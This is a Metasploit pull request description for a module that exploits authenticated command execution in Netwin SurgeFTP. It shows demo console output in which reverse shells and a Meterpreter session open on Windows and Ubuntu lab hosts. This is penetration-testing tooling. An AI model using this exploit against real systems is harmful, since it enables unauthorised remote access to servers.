rapid7/metasploit-framework — pull request #1198 by wchen-r7 (2012-12-21 22:24:08+00:00)
Title: Add Netwin surgeftp exec module

This is based on Exploit-DB's PoC:
http://www.exploit-db.com/exploits/23522/

EDB hosts the vulnerable Windows version. I also tested the Unix version from the official site, still vulnerable:
http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgeftp

This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8 or prior. In order to execute commands via the FTP service, please note that you must have a valid credential to the web-based administrative console.

Demo on Windows:

...
[*] Command Stager progress - 96.49% done (101796/105503 bytes)
[*] Command Stager progress - 96.96% done (102295/105503 bytes)
[*] Command Stager progress - 97.43% done (102794/105503 bytes)
[*] Command Stager progress - 97.86% done (103243/105503 bytes)
[*] Command Stager progress - 98.33% done (103738/105503 bytes)
[*] Command Stager progress - 98.75% done (104187/105503 bytes)
[*] Command Stager progress - 99.20% done (104663/105503 bytes)
[*] Command Stager progress - 99.66% done (105145/105503 bytes)
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Command Stager progress - 100.00% done (105503/105503 bytes)
[*] Meterpreter session 4 opened (10.0.1.3:4444 -> 10.0.1.6:1423) at 2012-12-21 16:15:37 -0600

meterpreter >

Demo on Ubuntu:

[*] 10.0.1.11:7021 - Sending payload...
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1LGYvFmqfedCMRFH;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1LGYvFmqfedCMRFH\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 5 opened (10.0.1.3:4444 -> 10.0.1.11:52865) at 2012-12-21 16:16:46 -0600